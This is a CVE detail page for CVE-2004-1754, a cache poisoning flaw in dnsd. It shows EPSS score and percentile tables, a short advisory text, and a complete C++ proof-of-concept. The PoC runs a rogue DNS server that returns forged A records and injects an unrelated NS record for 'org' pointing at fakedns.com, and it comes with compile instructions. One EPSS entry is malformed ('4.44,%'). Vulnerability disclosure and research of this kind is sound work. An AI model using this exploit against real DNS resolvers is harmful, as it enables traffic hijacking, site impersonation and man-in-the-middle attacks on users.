CVE-2004-1754 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	4.19%	–	–
2022-04-03	–	–	4.19%	–	–
2022-07-17	–	–	4.19%	–	–
2023-03-12	–	–	–	69.04%	–
2023-06-04	–	–	–	69.04%	–
2023-07-02	–	–	–	66.11%	–
2023-09-24	–	–	–	66.11%	–
2024-02-18	–	–	–	29.65%	–
2024-06-02	–	–	–	29.65%	–
2024-09-15	–	–	–	23.49%	–
2024-12-22	–	–	–	12.91%	–
2025-01-12	–	–	–	12.91%	–
2025-01-19	–	–	–	12.91%	–
2025-03-18	–	–	–	–	4.44%
2025-03-18	–	–	–	–	4.44,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	7%
2022-04-03	86%
2022-07-17	87%
2023-03-12	97%
2023-06-04	98%
2023-07-02	97%
2023-09-24	98%
2024-02-18	97%
2024-06-02	97%
2024-09-15	97%
2024-12-22	95%
2025-01-12	96%
2025-01-19	96%
2025-03-18	88%
2025-03-18	88%

source: https://www.securityfocus.com/bid/10557/info It is reported that dnsd is prone to a cache poisoning vulnerability. Dnsd does not ensure that the data returned from a remote DNS server contains related information about the requested records. An attacker could exploit this vulnerability to deny service to legitimate users by redirecting traffic to inappropriate hosts. Man-in-the-middle attacks, impersonation of sites, and other attacks may be possible. // PoC poisoning cache attack SEF 8 and later (by fryxar) // Requires poslib 1.0.4 library // Compile: g++ `poslib-config --libs --cflags --server` poc.cpp -o poc #define POS_DEFAULTLOG #define POS_DEFAULTLOG_STDERR #define POS_DEFAULTLOG_SYSLOG // Server include file #include <poslib/server/server.h> // For signal handling #include <stdlib.h> #include <signal.h> char *dyndomain; DnsMessage *my_handle_query(pending_query *query); void cleanup(int sig) { // close down the server system pos_setquitflag(); } int main(int argc, char **argv) { _addr a; try { /* get command-line arguments */ if (argc != 2 ) { printf( "Usage: %s [domainname]\n", argv[0] ); return 1; } else { dyndomain = argv[1]; txt_to_addr(&a, "any"); } poslib_config_init(); /* bring up posadis */ servers.push_front(ServerSocket(ss_udp, udpcreateserver(&a))); // use the posadis logging system pos_log(context_none, log_info, "Proof of concept DNS server starting up..."); // set signal handlers signal(SIGINT, cleanup); signal(SIGTERM, cleanup); // set query function handle_query = my_handle_query; // run server posserver_run(); } catch (PException p) { printf("Fatal exception: %s\n", p.message); return 1; } return 0; } /* the entry function which will handle all queries */ DnsMessage *my_handle_query(pending_query *query) { DnsMessage *a = new DnsMessage(); DnsQuestion q; DnsRR rr; /* set a as an answer to the query */ a->ID = query->message->ID; a->RD = query->message->RD; a->RA = false; if (query->message->questions.begin() == query->message->questions.end()) { /* query did not contain question */ a->RCODE = RCODE_QUERYERR; return a; } q = *query->message->questions.begin(); a->questions.push_back(q); a->QR = true; pos_log(context_server, log_info, "Query: [%s,%s]", q.QNAME.tocstr(), str_qtype(q.QTYPE).c_str()); if (q.QTYPE == DNS_TYPE_A && q.QNAME == dyndomain) { rr = DnsRR(dyndomain, DNS_TYPE_A, CLASS_IN, 3600); string data = rr_fromstring(DNS_TYPE_A, "200.200.200.200"); // Anything... rr.RDLENGTH = data.size(); rr.RDATA = (char *)memdup(data.c_str(), data.size()); a->answers.push_back(rr); rr = DnsRR("org", DNS_TYPE_NS, CLASS_IN, 3600); data = rr_fromstring(DNS_TYPE_NS, "fakedns.com"); rr.RDLENGTH = data.size(); rr.RDATA = (char *)memdup(data.c_str(), data.size()); a->authority.push_back(rr); rr = DnsRR("fakedns.com", DNS_TYPE_A, CLASS_IN, 3600); data = rr_fromstring(DNS_TYPE_A, "200.200.200.201"); // Anything... rr.RDLENGTH = data.size(); rr.RDATA = (char *)memdup(data.c_str(), data.size()); a->additional.push_back(rr); } else { /* we don't want this */ a->RCODE = RCODE_SRVFAIL; } return a; } ######################################################### # End poc.cpp #########################################################